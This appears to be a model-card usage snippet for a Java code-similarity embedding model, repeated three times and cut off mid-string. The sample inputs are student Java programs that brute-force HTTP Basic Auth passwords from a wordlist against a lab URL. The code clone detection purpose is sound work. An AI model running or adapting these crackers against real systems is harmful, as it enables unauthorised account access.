\'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', 